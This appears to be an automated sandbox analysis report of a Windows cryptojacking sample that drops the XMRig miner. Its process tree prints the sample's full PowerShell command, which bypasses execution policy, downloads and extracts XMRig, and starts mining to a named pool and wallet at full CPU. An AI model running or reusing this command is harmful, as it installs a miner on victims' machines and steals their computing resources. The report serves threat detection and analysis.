Analysis
- max time kernel
899s - max time network
885s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20260130-en - resource tags
- submitted
02/05/2026, 04:28
General
- Target wtf - Copy (10).exe
- Size 235KB
- Sample260502-e367yacz5m
- SHA256 7bd1f50b832af076880678fb70cada1061c911992aa7339b5693a0c194e3b5e5
Malware Config
Signatures
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 2 IoCs
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Powershell Invoke Web Request.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\wtf - Copy (10).exe"C:\Users\Admin\AppData\Local\Temp\wtf - Copy (10).exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -NoExit -Command "$ErrorActionPreference = 'Stop'; $d = Join-Path $env:TEMP 'x'; if (!(Test-Path $d)) { New-Item -ItemType Directory -Path $d -Force }; Stop-Process -Name 'xmrig' -ErrorAction SilentlyContinue; Write-Host '1. Dang kiem tra file...' -ForegroundColor Cyan; $zipPath = Join-Path $d 'x.zip'; if (!(Test-Path $zipPath)) { Write-Host '2. Dang tai file (co the mat 1-2 phut)...' -ForegroundColor Yellow; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-msvc-win64.zip' -OutFile $zipPath; } Write-Host '3. Dang giai nen...' -ForegroundColor Yellow; Expand-Archive -Path $zipPath -DestinationPath $d -Force; $exe = Get-ChildItem -Path $d -Recurse -Filter 'xmrig.exe' | Select-Object -First 1; if ($exe) { Write-Host '4. Khoi chay dao...' -ForegroundColor Green; Start-Process $exe.FullName -ArgumentList '-o pool.hashvault.pro:443 -u 44VTHpmFucsULkgscKcU9zf3R73t4YamM3cW9gf7V51GN3TMJQzGxkNYCd9myzDtxqDyTwyegnYgzjjY6fi5HLC81JRYaZr -p bens -k --tls --cpu-max-threads-hint 100 --donate-level 1' -WorkingDirectory $exe.DirectoryName; } else { Write-Host 'Khong tim thay xmrig.exe' }"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\x\xmrig-6.21.0\xmrig.exe"C:\Users\Admin\AppData\Local\Temp\x\xmrig-6.21.0\xmrig.exe" -o pool.hashvault.pro:443 -u 44VTHpmFucsULkgscKcU9zf3R73t4YamM3cW9gf7V51GN3TMJQzGxkNYCd9myzDtxqDyTwyegnYgzjjY6fi5HLC81JRYaZr -p bens -k --tls --cpu-max-threads-hint 100 --donate-level 13⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_pszkntlh.hol.ps1
xmrig.exe
memory/3648-61-0x000001D9678D0000-0x000001D967925000-memory.dmp
memory/3648-55-0x000001D967890000-0x000001D9678B0000-memory.dmp
memory/4176-17-0x0000020A56890000-0x0000020A568A2000-memory.dmp
memory/4176-56-0x0000020A3E020000-0x0000020A3E030000-memory.dmp
memory/4176-14-0x0000020A3E020000-0x0000020A3E030000-memory.dmp
memory/4176-15-0x0000020A568B0000-0x0000020A568F4000-memory.dmp
memory/4176-58-0x0000020A3E160000-0x0000020A3E16C000-memory.dmp
memory/4176-18-0x0000020A56900000-0x0000020A5690A000-memory.dmp
memory/4176-5-0x0000020A3E020000-0x0000020A3E030000-memory.dmp
memory/4176-52-0x0000020A3E020000-0x0000020A3E030000-memory.dmp
memory/4176-53-0x0000020A56AC0000-0x0000020A56B36000-memory.dmp
memory/4176-4-0x0000020A3E020000-0x0000020A3E030000-memory.dmp
memory/4176-6-0x0000020A56390000-0x0000020A563B2000-memory.dmp
memory/4176-57-0x0000020A3DBA0000-0x0000020A3DBF5000-memory.dmp
memory/4176-59-0x0000020A3E020000-0x0000020A3E030000-memory.dmp
memory/4216-1-0x0000018CE8940000-0x0000018CE8995000-memory.dmp
memory/4216-0-0x00007FF75D890000-0x00007FF75D8D2000-memory.dmp